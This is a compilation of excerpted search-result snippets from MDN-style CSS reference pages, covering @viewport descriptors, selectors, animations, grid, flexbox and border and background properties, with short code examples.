... formal definition related at-rule@viewportinitial valueas each of the properties of the shorthand:min-height: automax-height: nonepercentagesas each of the properties of the shorthand:min-height: the percentage is calculated with respect to the height of the generated box's containing block.
... lengthmax-height: the percentage as specified or the absolute length or none formal syntax <viewport-length>{1,2}where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting minimum and maximum height @viewport { height: 500px; } specifications specification status comment css device adaptationthe definition of '"height" descriptor' in that specification.
... working draft initial definition ...
max-height - CSS: Cascading Style Sheets
the height will initially be set as close as possible to the initial viewport height considering the maximum height constraint.
... <percentage> a percentage value relative to the height of the initial viewport at zoom factor 1.0 for vertical lengths.
... formal definition related at-rule@viewportinitial valueautopercentagesrefer to the height of the initial viewportcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, auto formal syntax <viewport-length>where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting viewport max height in pixels @viewport { max-height: 600px; } specifications specification status comment css device adaptationthe definition of '"max-height" descriptor' in that specification.
... working draft initial definition ...
max-width - CSS: Cascading Style Sheets
by default, the width is set as close as possible to the initial viewport considering the maximum width constraint.
... <percentage> a percentage value relative to the width of the initial viewport at zoom factor 1.0 for horizontal lengths.
... formal definition related at-rule@viewportinitial valueautopercentagesrefer to the width of the initial viewportcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, auto formal syntax <viewport-length>where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting viewport max width in pixels @viewport { max-width: 600px; } specifications specification status comment css device adaptationthe definition of '"max-width" descriptor' in that specification.
... working draft initial definition ...
min-height - CSS: Cascading Style Sheets
the height will initially be set as close as possible to the initial viewport height considering the minimum height constraint.
... <percentage> a percentage value relative to the height of the initial viewport at zoom factor 1.0 for vertical lengths.
... formal definition related at-rule@viewportinitial valueautopercentagesrefer to the height of the initial viewportcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, auto formal syntax <viewport-length>where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting viewport min height in pixels @viewport { min-height: 200px; } specifications specification status comment css device adaptationthe definition of '"min-height" descriptor' in that specification.
... working draft initial definition ...
min-width - CSS: Cascading Style Sheets
by default, min-width is set as close as possible to the initial viewport considering the minimum width constraint.
... <percentage> a percentage value relative to the width or height of the initial viewport at zoom factor 1.0, for horizontal and vertical lengths respectively.
... formal definition related at-rule@viewportinitial valueautopercentagesrefer to the width of the initial viewportcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, auto formal syntax <viewport-length>where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting viewport min width in pixels @viewport { min-width: 200px; } specifications specification status comment css device adaptationthe definition of '"min-width" descriptor' in that specification.
... working draft initial definition ...
width - CSS: Cascading Style Sheets
WebCSS@viewportwidth
<percentage> a percentage value relative to the width or height of the initial viewport at zoom factor 1.0, for horizontal and vertical lengths respectively.
... formal definition related at-rule@viewportinitial valueas each of the properties of the shorthand:min-width: automax-width: nonepercentagesas each of the properties of the shorthand:min-width: refer to the width of the containing blockmax-width: refer to the width of the containing blockcomputed valueas each of the properties of the shorthand:min-width: the percentage as specified or the absolute lengthmax-width: the percentage as specified or the absolute length or none formal syntax <viewport-length>{1,2}where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting minimum and maximum width @viewport { width: 500px; } specifications specification status comment css device...
... adaptationthe definition of '"min-width" descriptor' in that specification.
... working draft initial definition ...
zoom - CSS: Cascading Style Sheets
WebCSS@viewportzoom
the zoom css descriptor sets the initial zoom factor of a document defined by the @viewport at-rule.
... syntax /* keyword value */ zoom: auto; /* <number> values */ zoom: 0.8; zoom: 2.0; /* <percentage> values */ zoom: 150%; values auto the user agent will set the document's initial zoom factor.
... formal definition related at-rule@viewportinitial valueautopercentagesthe zoom factor itselfcomputed valueauto, or a non-negative number or percentage as specified formal syntax auto | <number> | <percentage> examples setting viewport zoom factor @viewport { zoom: 2.0; } specifications specification status comment css device adaptationthe definition of '"zoom" descriptor' in that specification.
... working draft initial specification ...
Adjacent sibling combinator - CSS: Cascading Style Sheets
/* paragraphs that come immediately after any image */ img + p { font-weight: bold; } syntax former_element + target_element { style properties } examples css li:first-of-type + li { color: red; } html <ul> <li>one</li> <li>two!</li> <li>three</li> </ul> result specifications specification status comment selectors level 4the definition of 'next-sibling combinator' in that specification.
... selectors level 3the definition of 'adjacent sibling combinator' in that specification.
... recommendation css level 2 (revision 1)the definition of 'adjacent sibling selectors' in that specification.
... recommendation initial definition.
Attribute selectors - CSS: Cascading Style Sheets
*/ ol[type="a"] { list-style-type: lower-alpha; background: red; } ol[type="a" s] { list-style-type: lower-alpha; background: lime; } ol[type="a" s] { list-style-type: upper-alpha; background: lime; } html <ol type="a"> <li>example list</li> </ol> result specifications specification status comment selectors level 4the definition of 'attribute selectors' in that specification.
... selectors level 3the definition of 'attribute selectors' in that specification.
... recommendation css level 2 (revision 1)the definition of 'attribute selectors' in that specification.
... recommendation initial definition ...
Using CSS animations - CSS: Cascading Style Sheets
animation-iteration-count configures the number of times the animation should repeat; you can specify infinite to repeat the animation indefinitely.
...in this case, let’s use infinite to have the animation repeat indefinitely: p { animation-duration: 3s; animation-name: slidein; animation-iteration-count: infinite; } adding it to the existing code: @keyframes slidein { from { margin-left: 100%; width: 300%; } to { margin-left: 0%; width: 100%; } } <p>the caterpillar and alice looked at each other for some time in silence: at last the cater...
...that’s easily accomplished by setting animation-direction to alternate: p { animation-duration: 3s; animation-name: slidein; animation-iteration-count: infinite; animation-direction: alternate; } and the rest of the code: @keyframes slidein { from { margin-left: 100%; width: 300%; } to { margin-left: 0%; width: 100%; } } <p>the caterpillar and alice looked at each other for some time in silence: at last the caterpillar took the hookah out of its mouth, and addressed her in a languid, sleepy voice.</p> using animation ...
...as an example, the rule we’ve been using through this article: p { animation-duration: 3s; animation-name: slidein; animation-iteration-count: infinite; animation-direction: alternate; } could be replaced by p { animation: 3s infinite alternate slidein; } note: you can find more details out at the animation reference page: setting multiple animation property values the css animation longhand values can accept multiple values, separated by commas — this feature can be used when you want to apply multiple animations in a single rule, and set separate durations, iteration counts, etc.
CSS Display - CSS: Cascading Style Sheets
ine-based placement grid template areas layout using named grid lines auto-placement in grid layout box alignment in grid layout grids, logical values and writing modes css grid layout and accessibility css grid layout and progressive enhancement realizing common layouts using grids specifications specification status comment css display module level 3the definition of 'display' in that specification.
... css level 2 (revision 1)the definition of 'display' in that specification.
... css level 1the definition of 'display' in that specification.
... recommendation initial definition.
Controlling Ratios of Flex Items Along the Main Axis - CSS: Cascading Style Sheets
the flex-basis property the flex-basis property specifies the initial size of the flex item before any space distribution happens.
... the initial value for this property is auto.
... if flex-basis is set to auto then to work out the initial size of the item the browser first checks if the main size of the item has an absolute size set.
...they have become smaller than their initial width in order to do so.
Relationship of flexbox to other layout methods - CSS: Cascading Style Sheets
there is a note in the flexbox spec stating that in the future, once it is completed, the definitions in box alignment level 3 will supersede those of flexbox: "note: while the alignment properties are defined in css box alignment [css-align-3], flexible box layout reproduces the definitions of the relevant ones here so as to not create a normative dependency that may slow down advancement of the spec.
...additionally, any new values defined in the box alignment module will apply to flexible box layout; in otherwords, the box alignment module, once completed, will supercede the definitions here." in a later article in this series — aligning items in a flex container — we will take a thorough look at how the box alignment properties apply to flex items.
...these properties were initially defined in the css grid specification and named grid-row-gap, grid-column-gap and grid-gap.
... flexbox and other layout methods the flexbox specification contains a definition of what happens if an item uses another layout method and then becomes a flex item.
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
the following track listing will create an initial implicit row track as 100 pixels and a second as 200px.
...an example is the definition list in this next example.
... definition lists are an interesting challenge to style as they are flat, there is nothing wrapping the groups of dt and dd items.
... in my example i am allowing auto-placement to place the items, however i have classes that start a dt in column 1, and dd in column 2, this ensure that terms go on one side and definitions on the other - no matter how many of each we have.
Grid template areas - CSS: Cascading Style Sheets
</div> </div> grid definition shorthands having looked at various ways of placing items on our grids and many of the properties used to define grid, this is a good time to take a look at a couple of shorthands that are available for defining the grid and many things about it all in one line of css.
... before using any shorthand it is worth remembering that shorthands not only enable the setting of many properties in one go, they also act to reset things to their initial values that you do not, or cannot set in the shorthand.
... the two shorthands for the grid container are the explicit grid shorthand grid-template and the grid definition shorthand grid.
... if you have worked through these initial guides you now should be in a position to create grid layouts using line-based placement or named areas.
Overview of CSS Shapes - CSS: Cascading Style Sheets
the specification defines three new properties: shape-outside — allows definition of basic shapes shape-image-threshold — sets an opacity threshold value.
...if the value of shape-image-threshold is 0.0 (which is the initial value) then the area must be fully transparent.
... future css shapes features the initial shapes specification included a property shape-inside for creating shapes inside an element.
...as the shape-inside property was initially in level 1 of the specification, you may find tutorials on the web detailing both properties.
Using CSS transitions - CSS: Cascading Style Sheets
as it doesn't make sense to animate some properties, the list of animatable properties is limited to a finite set.
... you can control the individual components of the transition with the following sub-properties: (note that these transitions loop infinitely only for the purpose of our examples; css transitions only visualize a property change from start to finish.
... this is treated as if the initial state had never occurred and the element was always in its final state.
... specifications specification status comment css transitions working draft initial definition ...
Introducing the CSS Cascade - CSS: Cascading Style Sheets
WebCSSCascade
all lets you opt to immediately restore all properties to any of their initial (default) state, the state inherited from the previous level of the cascade, a specific origin (the user-agent stylesheet, the author stylesheet, or the user stylesheet), or even to clear the values of the properties entirely.
... css level 2 (revision 1)the definition of 'the cascade' in that specification.
... recommendation css level 1the definition of 'the cascade' in that specification.
... recommendation initial definition.
Child combinator - CSS: Cascading Style Sheets
<span>span #2, in the span that's in the div.</span> </span> </div> <span>span #3, not in the div at all.</span> result specifications specification status comment selectors level 4the definition of 'child combinator' in that specification.
... working draft selectors level 3the definition of 'child combinators' in that specification.
... css level 2 (revision 1)the definition of 'child selectors' in that specification.
... recommendation initial definition.
CSS reference - CSS: Cascading Style Sheets
WebCSSReference
be aware that any syntax error in a rule definition invalidates the entire rule.
...note that css rule definitions are entirely (ascii) text-based, whereas dom-css / cssom (the rule management system) is object-based.
...areagrid-auto-columnsgrid-auto-flowgrid-auto-rowsgrid-columngrid-column-endgrid-column-startgrid-rowgrid-row-endgrid-row-startgrid-templategrid-template-areasgrid-template-columnsgrid-template-rowshhzhanging-punctuationheightheight (@viewport)@historical-forms:hoverhsl()hsla()hue-rotate()hyphensi<ident><image>image()image-orientationimage-renderingimage-set()@importin:in-range:indeterminateinheritinitialinline-sizeinsetinset()inset-blockinset-block-endinset-block-startinset-inlineinset-inline-endinset-inline-start<integer>:invalidinvert()isolationjjustify-contentjustify-itemsjustify-selfkkhz@keyframesl:lang:last-child:last-of-typeleader():leftleft@left-bottom<length><length-percentage>letter-spacingline-breakline-heightlinear-gradient():linklist-stylelist-style-imagelist-style-positionlist-sty...
... concepts syntax and semantics css syntax at-rules cascade comments descriptor inheritance shorthand properties specificity value definition syntax css unit and value types values actual value computed value initial value resolved value specified value used value layout block formatting context box model containing block layout mode margin collapsing replaced elements stacking context visual formatting model dom-css / cssom major object types documentorshadowroot.stylesheets stylesheets[i].cssrules cs...
Universal selectors - CSS: Cascading Style Sheets
</p> result specifications specification status comment selectors level 4the definition of 'universal selector' in that specification.
... working draft no changes selectors level 3the definition of 'universal selector' in that specification.
... recommendation defines behavior regarding namespaces and adds hint that omitting the selector is allowed within pseudo-elements css level 2 (revision 1)the definition of 'universal selector' in that specification.
... recommendation initial definition ...
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
when the browser encounters an invalid var() substitution, the initial or inherited value of the property is used.
... html <p>this paragraph is initial black.</p> css :root { --text-color: 16px; } p { color: blue; } p { color: var(--text-color); } as expected, the browser substitutes the value of --text-color in place of var(--text-color), but 16px is not a valid property value for color.
... set the value to its default initial value, i.e., black.
... result the paragraph color will not be blue because invalid substitution is replaced by the initial value, not by the fallback.
animation-direction - CSS: Cascading Style Sheets
syntax /* single animation */ animation-direction: normal; animation-direction: reverse; animation-direction: alternate; animation-direction: alternate-reverse; /* multiple animations */ animation-direction: normal, reverse; animation-direction: alternate, reverse, normal; /* global values */ animation-direction: inherit; animation-direction: initial; animation-direction: unset; values normal the animation plays forwards each cycle.
... formal definition initial valuenormalapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <single-animation-direction>#where <single-animation-direction> = normal | reverse | alternate | alternate-reverse examples see css animations for examples.
... specifications specification status comment css animationsthe definition of 'animation-direction' in that specification.
... working draft initial definition.
animation-fill-mode - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <single-animation-fill-mode>#where <single-animation-fill-mode> = none | forwards | backwards | both examples you can see the effect of animation-fill-mode in the following example.
... it demonstrates how, for an animation that runs for an infinite time, you can cause it to remain in its final state rather than reverting to the original state (which is the default).
... specifications specification status comment css animationsthe definition of 'animation-fill-mode' in that specification.
... working draft initial definition.
animation-play-state - CSS: Cascading Style Sheets
syntax /* single animation */ animation-play-state: running; animation-play-state: paused; /* multiple animations */ animation-play-state: paused, running, running; /* global values */ animation-play-state: inherit; animation-play-state: initial; animation-play-state: unset; values running the animation is currently playing.
... formal definition initial valuerunningapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <single-animation-play-state>#where <single-animation-play-state> = running | paused examples see css animations for examples.
... specifications specification status comment css animationsthe definition of 'animation-play-state' in that specification.
... working draft initial definition.
aspect-ratio - CSS: Cascading Style Sheets
syntax aspect-ratio: 1 / 1; /* global values */ aspect-ratio: inherit; aspect-ratio: initial; aspect-ratio: unset; values <auto> replaced elements with an intrinsic aspect ratio use that aspect ratio, otherwise the box has no preferred aspect ratio.
... formal definition initial valueautoapplies toall elements except inline boxes and internal ruby or table boxesinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | <ratio> examples mapping width and height to aspect-ratio firefox has added an internal aspect-ratio property (in version 69 onwards) that applies to replaced elements and other related elements that accept width and height attributes.
... in firefox, the internal stylesheet rule looks like this: img, input[type="image"], video, embed, iframe, marquee, object, table { aspect-ratio: attr(width) / attr(height); } specifications specification status comment css box sizing module level 4the definition of 'aspect-ratio' in that specification.
... editor's draft initial definition browser compatibility the compatibility table on this page is generated from structured data.
backdrop-filter - CSS: Cascading Style Sheets
%); backdrop-filter: drop-shadow(4px 4px 10px blue); backdrop-filter: grayscale(30%); backdrop-filter: hue-rotate(120deg); backdrop-filter: invert(70%); backdrop-filter: opacity(20%); backdrop-filter: sepia(90%); backdrop-filter: saturate(80%); /* multiple filters */ backdrop-filter: url(filters.svg#filter) blur(4px) saturate(150%); /* global values */ backdrop-filter: inherit; backdrop-filter: initial; backdrop-filter: unset; syntax values none no filter is applied to the backdrop.
... formal definition initial valuenoneapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typea filter function list formal syntax none | <filter-function-list>where <filter-function-list> = [ <filter-function> | <url> ]+where <filter-function> = <blur()> | <brightness()> | <contrast()> | <drop-shadow()> | <grayscale()> | <hue-rotate()> | <invert()> | <opacity()> | <saturate()> | <sepia()>where <blur()> = blur( <length> )<brightness()> = brightness( <number-percentage> )<contrast()> = contrast( [ <number-percentage> ] )<drop-shadow()> = drop-shadow( <length>...
... background-repeat: no-repeat; background-size: cover; } .container { align-items: center; display: flex; justify-content: center; height: 100%; width: 100%; } html <div class="container"> <div class="box"> <p>backdrop-filter: blur(10px)</p> </div> </div> result specifications specification status comment filter effects module level 2the definition of 'backdrop-filter' in that specification.
... editor's draft initial definition.
backface-visibility - CSS: Cascading Style Sheets
(this property has no effect on 2d transforms, which have no perspective.) syntax /* keyword values */ backface-visibility: visible; backface-visibility: hidden; /* global values */ backface-visibility: inherit; backface-visibility: initial; backface-visibility: unset; the backface-visibility property is specified as one of the keywords listed below.
... formal definition initial valuevisibleapplies totransformable elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax visible | hidden examples cube with transparent and opaque faces this example shows a cube with transparent faces, and one with opaque faces.
...tex(90deg) translatez(50px); } .bottom { background: rgba(196, 0, 196, 0.7); transform: rotatex(-90deg) translatez(50px); } /* make the table a little nicer */ th, p, td { background-color: #eeeeee; margin: 0px; padding: 6px; font-family: sans-serif; text-align: left; } result specifications specification status comment css transforms level 2the definition of 'backface-visibility' in that specification.
... editor's draft initial definition.
background-blend-mode - CSS: Cascading Style Sheets
syntax /* one value */ background-blend-mode: normal; /* two values, one per background */ background-blend-mode: darken, luminosity; /* global values */ background-blend-mode: initial; background-blend-mode: inherit; background-blend-mode: unset; values <blend-mode> the blending mode to be applied.
... formal definition initial valuenormalapplies toall elements.
...tr.png'); background-blend-mode: screen; } document.getelementbyid("select").onchange = function(event) { document.getelementbyid("div").style.backgroundblendmode = document.getelementbyid("select").selectedoptions[0].innerhtml; } console.log(document.getelementbyid('div')); specifications specification status comment compositing and blending level 1the definition of 'background-blend-mode' in that specification.
... candidate recommendation initial definition ...
background-origin - CSS: Cascading Style Sheets
syntax /* keyword values */ background-origin: border-box; background-origin: padding-box; background-origin: content-box; /* global values */ background-origin: inherit; background-origin: initial; background-origin: unset; the background-origin property is specified as one of the keyword values listed below.
... formal definition initial valuepadding-boxapplies toall elements.
...e.gif'); background-repeat: no-repeat; background-origin: border-box; } div { background-image: url('logo.jpg'), url('mainback.png'); /* applies two images to the background */ background-position: top right, 0px 0px; background-origin: content-box, padding-box; } specifications specification status comment css backgrounds and borders module level 3the definition of 'background-origin' in that specification.
... candidate recommendation initial definition.
background-size - CSS: Cascading Style Sheets
/* first value: width of the image, second value: height */ background-size: 50% auto; background-size: 3em 25%; background-size: auto 6px; background-size: auto auto; /* multiple backgrounds */ background-size: auto, auto; /* not to be confused with `auto auto` */ background-size: 50%, 25%, 25%; background-size: 6px, auto, contain; /* global values */ background-size: inherit; background-size: initial; background-size: unset; the background-size property is specified in one of the following ways: using the keyword values contain or cover.
... formal definition initial valueauto autoapplies toall elements.
... specifications specification status comment css backgrounds and borders module level 3the definition of 'background-size' in that specification.
... candidate recommendation initial definition.
<basic-shape> - CSS: Cascading Style Sheets
all <basic-shape> values use functional notation and are defined here using the value definition syntax.
... html <div></div> css div { width: 300px; height: 300px; background: repeating-linear-gradient(red, orange 50px); clip-path: polygon(50% 0%, 60% 40%, 100% 50%, 60% 60%, 50% 100%, 40% 60%, 0% 50%, 40% 40%); animation: 4s poly infinite alternate ease-in-out; margin: 10px auto; } @keyframes poly { from { clip-path: polygon(50% 0%, 60% 40%, 100% 50%, 60% 60%, 50% 100%, 40% 60%, 0% 50%, 40% 40%); } to { clip-path: polygon(50% 30%, 100% 0%, 70% 50%, 100% 100%, 50% 70%, 0% 100%, 30% 50%, 0% 0%); } } result specifications specification status comment css shapes module level 1the d...
...efinition of '<basic-shape>' in that specification.
... candidate recommendation initial definition.
block-size - CSS: Cascading Style Sheets
syntax /* <length> values */ block-size: 300px; block-size: 25em; /* <percentage> values */ block-size: 75%; /* keyword values */ block-size: max-content; block-size: min-content; block-size: fit-content(20em); block-size: auto; /* global values */ block-size: inherit; block-size: initial; block-size: unset; if the writing mode is vertically oriented, the value of block-size relates to the width of the element; otherwise, it relates to the height of the element.
... initial valueautoapplies tosame as width and heightinheritednopercentagesblock-size of containing blockcomputed valuesame as width and heightanimation typea length, percentage or calc(); syntax values the block-size property takes the same values as the width and height properties.
... formal definition initial valueautoapplies tosame as width and heightinheritednopercentagesblock-size of containing blockcomputed valuesame as width and heightanimation typea length, percentage or calc(); formal syntax <'width'> examples block size with vertical text html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; background-color: yellow; block-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'block-size' in that specification.
... editor's draft initial definition ...
border-bottom-left-radius - CSS: Cascading Style Sheets
note: if the value of this property is not set in a border-radius shorthand property that is applied to the element after the border-bottom-left-radius css property, the value of this property is then reset to its initial value by the shorthand property.
... formal definition initial value0applies toall elements; but user agents are not required to apply to table and inline-table elements when border-collapse is collapse.
... the background color is clipped at the border div { border-bottom-left-radius:40%; border-style: black 3px double; background-color: rgb(250,20,70); background-clip: content-box; } specifications specification status comment css backgrounds and borders module level 3the definition of 'border-bottom-left-radius' in that specification.
... candidate recommendation initial definition ...
border-bottom-right-radius - CSS: Cascading Style Sheets
note: if the value of this property is not set in a border-radius shorthand property that is applied to the element after the border-bottom-right-radius css property, the value of this property is then reset to its initial value by the shorthand property.
... formal definition initial value0applies toall elements; but user agents are not required to apply to table and inline-table elements when border-collapse is collapse.
... the background color is clipped at the border div { border-bottom-right-radius:40%; border-style: black 3px double; background-color: rgb(250,20,70); background-clip: content-box; } specifications specification status comment css backgrounds and borders module level 3the definition of 'border-bottom-right-radius' in that specification.
... candidate recommendation initial definition ...
border-collapse - CSS: Cascading Style Sheets
syntax /* keyword values */ border-collapse: collapse; border-collapse: separate; /* global values */ border-collapse: inherit; border-collapse: initial; border-collapse: unset; the border-collapse property is specified as a single keyword, which may be chosen from the list below.
... formal definition initial valueseparateapplies totable and inline-table elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax collapse | separate examples a colorful table of browser engines html <table class="separate"> <caption><code>border-collapse: separate</code></caption> <tbody> <tr><th>browser</th> <th>layout engine</th></tr> <tr><td class="fx">firefox</td> <td class="gk">gecko</td></tr> <tr><td class="ed">edge</td> <td class="tr">edgehtml</td></tr> <tr><td class="sa">safari</td> <td class="wk">webkit</td></tr> <tr><td class="ch">c...
...blue; } .gk { border-color: black red; } .ed { border-color: blue gold; } .tr { border-color: aqua; } .sa { border-color: silver blue; } .wk { border-color: gold blue; } .ch { border-color: red yellow green blue; } .bk { border-color: navy blue teal aqua; } .op { border-color: red; } result specifications specification status comment css level 2 (revision 1)the definition of 'border-collapse' in that specification.
... recommendation initial definition ...
border-end-end-radius - CSS: Cascading Style Sheets
/* <length> values */ /* with one value the corner will be a circle */ border-end-end-radius: 10px; border-end-end-radius: 1em; /* with two values the corner will be an ellipse */ border-end-end-radius: 1em 2em; /* global values */ border-end-end-radius: inherit; border-end-end-radius: initial; border-end-end-radius: unset; for instance, in a horizontal-tb writing mode this property corresponds to the border-bottom-right-radius property.
... formal definition initial value0applies toall elements; but user agents are not required to apply to table and inline-table elements when border-collapse is collapse.
...ext">example</p> </div> css content div { background-color: rebeccapurple; width: 120px; height: 120px; border-end-end-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px; background-color: #fff; border-end-end-radius: 10px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-end-end-radius' in that specification.
... editor's draft initial definition.
border-end-start-radius - CSS: Cascading Style Sheets
/* <length> values */ /* with one value the corner will be a circle */ border-end-start-radius: 10px; border-end-start-radius: 1em; /* with two values the corner will be an ellipse */ border-end-start-radius: 1em 2em; /* global values */ border-end-start-radius: inherit; border-end-start-radius: initial; border-end-start-radius: unset; for instance, in a horizontal-tb writing mode this property corresponds to the border-top-right-radius property.
... formal definition initial value0applies toall elements; but user agents are not required to apply to table and inline-table elements when border-collapse is collapse.
...pletext">example</p> </div> css div { background-color: rebeccapurple; width: 120px; height: 120px; border-end-start-radius: 10px; } .exampletext { writing-mode: vertical-rl; padding: 10px; background-color: #fff; border-end-start-radius: 10px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-end-start-radius' in that specification.
... editor's draft initial definition.
border-image-outset - CSS: Cascading Style Sheets
syntax /* <length> value */ border-image-outset: 1rem; /* <number> value */ border-image-outset: 1.5; /* vertical | horizontal */ border-image-outset: 1 1.2; /* top | horizontal | bottom */ border-image-outset: 30px 2 45px; /* top | right | bottom | left */ border-image-outset: 7px 12px 14px 5px; /* global values */ border-image-outset: inherit; border-image-outset: initial; border-image-outset: unset; the border-image-outset property may be specified as one, two, three, or four values.
... formal definition initial value0applies toall elements, except internal table elements when border-collapse is collapse.
...<div id="outset">this element has an outset border image!</div> css #outset { width: 10rem; background: #cef; border: 1.4rem solid; border-image: radial-gradient(#ff2, #55f) 40; border-image-outset: 1.5; /* 1.5 × 1.4rem = 2.1rem */ margin: 2.1rem; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-image-outset' in that specification.
... candidate recommendation initial definition ...
border-image-repeat - CSS: Cascading Style Sheets
syntax /* keyword value */ border-image-repeat: stretch; border-image-repeat: repeat; border-image-repeat: round; border-image-repeat: space; /* vertical | horizontal */ border-image-repeat: round stretch; /* global values */ border-image-repeat: inherit; border-image-repeat: initial; border-image-repeat: unset; the border-image-repeat property may be specified using one or two values chosen from the list of values below.
... formal definition initial valuestretchapplies toall elements, except internal table elements when border-collapse is collapse.
...n value="space round">space round</option> </select> javascript var repetition = document.getelementbyid("repetition"); repetition.addeventlistener("change", function (evt) { document.getelementbyid("bordered").style.borderimagerepeat = evt.target.value; }); results specifications specification status comment css backgrounds and borders module level 3the definition of 'border-image-repeat' in that specification.
... candidate recommendation initial definition ...
border-image-slice - CSS: Cascading Style Sheets
syntax /* all sides */ border-image-slice: 30%; /* vertical | horizontal */ border-image-slice: 10% 30%; /* top | horizontal | bottom */ border-image-slice: 30 30% 45; /* top | right | bottom | left */ border-image-slice: 7 12 14 5; /* using the `fill` keyword */ border-image-slice: 10% fill 7 12; /* global values */ border-image-slice: inherit; border-image-slice: initial; border-image-slice: unset; the border-image-slice property may be specified using one to four <number-percentage> values to represent the position of each image slice.
... formal definition initial value100%applies toall elements, except internal table elements when border-collapse is collapse.
....value + 'px'; divelem.style.borderwidth = newvalue; widthoutput.textcontent = newvalue; }) sliceslider.addeventlistener('input', () => { const newvalue = sliceslider.value; divelem.style.borderimageslice = newvalue; sliceoutput.textcontent = newvalue; }) result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-image-slice' in that specification.
... candidate recommendation initial defintion ...
border-image-source - CSS: Cascading Style Sheets
syntax /* keyword value */ border-image-source: none; /* <image> values */ border-image-source: url(image.jpg); border-image-source: linear-gradient(to top, red, yellow); /* global values */ border-image-source: inherit; border-image-source: initial; border-image-source: unset; values none no border image is used.
... formal definition initial valuenoneapplies toall elements, except internal table elements when border-collapse is collapse.
... specifications specification status comment css backgrounds and borders module level 3the definition of 'border-image-source' in that specification.
... candidate recommendation initial definition ...
border-image-width - CSS: Cascading Style Sheets
th> value */ border-image-width: 1rem; /* <percentage> value */ border-image-width: 25%; /* <number> value */ border-image-width: 3; /* vertical | horizontal */ border-image-width: 2em 3em; /* top | horizontal | bottom */ border-image-width: 5% 15% 10%; /* top | right | bottom | left */ border-image-width: 5% 2em 10% auto; /* global values */ border-image-width: inherit; border-image-width: initial; border-image-width: unset; the border-image-width property may be specified using one, two, three, or four values chosen from the list of values below.
... formal definition initial value1applies toall elements, except internal table elements when border-collapse is collapse.
..., no sea takimata sanctus est lorem ipsum dolor sit amet.</p> css p { border: 20px solid; border-image: url("/static/external/21/214842819586a8dd293c17b38d0fd0e26430146a86dd04294a53ecaeeea7d0e2.png") 30 round; border-image-width: 16px; padding: 40px; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-image-width' in that specification.
... candidate recommendation initial definition ...
border-inline-end - CSS: Cascading Style Sheets
initial valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-top-width: mediumborder-right-width: mediumborder-bottom-width: mediumborder-left-width: mediumborder-style: as each of the properties of the shorthand:border-top-style: noneborder-right-style: noneborder-bottom-style: noneborder-left-style: nonecolor: varies from one browser to anot...
... formal definition initial valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-top-width: mediumborder-right-width: mediumborder-bottom-width: mediumborder-left-width: mediumborder-style: as each of the properties of the shorthand:border-top-style: noneborder-right-style: noneborder-bottom-style: noneborder-left-style: nonecolor: varies from one browse...
...> | <percentage><hue> = <number> | <angle> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-inline-end: 5px dashed blue; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end' in that specification.
... editor's draft initial definition ...
border-inline - CSS: Cascading Style Sheets
initial valueas each of the properties of the shorthand:border-top-width: mediumborder-top-style: noneborder-top-color: currentcolorapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:border-top-width: the absolute length or 0 if border-top-style is none or hiddenborder-top-style: as specifiedborder-top-color: computed coloranimation typediscrete constituent prop...
... formal definition initial valueas each of the properties of the shorthand:border-top-width: mediumborder-top-style: noneborder-top-color: currentcolorapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:border-top-width: the absolute length or 0 if border-top-style is none or hiddenborder-top-style: as specifiedborder-top-color: computed coloranimation typediscrete formal ...
... | <angle> examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; border-inline: 5px dashed blue; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline' in that specification.
... editor's draft initial definition ...
border-spacing - CSS: Cascading Style Sheets
syntax /* <length> */ border-spacing: 2px; /* horizontal <length> | vertical <length> */ border-spacing: 1cm 2em; /* global values */ border-spacing: inherit; border-spacing: initial; border-spacing: unset; the border-spacing property may be specified as either one or two values.
... formal definition initial value0applies totable and inline-table elementsinheritedyescomputed valuetwo absolute lengthsanimation typediscrete formal syntax <length> <length>?
...>6</td> </tr> <tr> <td>7</td><td>8</td><td>9</td> </tr> </table> css table { border-spacing: 1em .5em; padding: 0 2em 1em 0; border: 1px solid orange; } td { width: 1.5em; height: 1.5em; background: #d2d2d2; text-align: center; vertical-align: middle; } result specifications specification status comment css level 2 (revision 1)the definition of 'border-spacing' in that specification.
... recommendation initial definition.
border-start-end-radius - CSS: Cascading Style Sheets
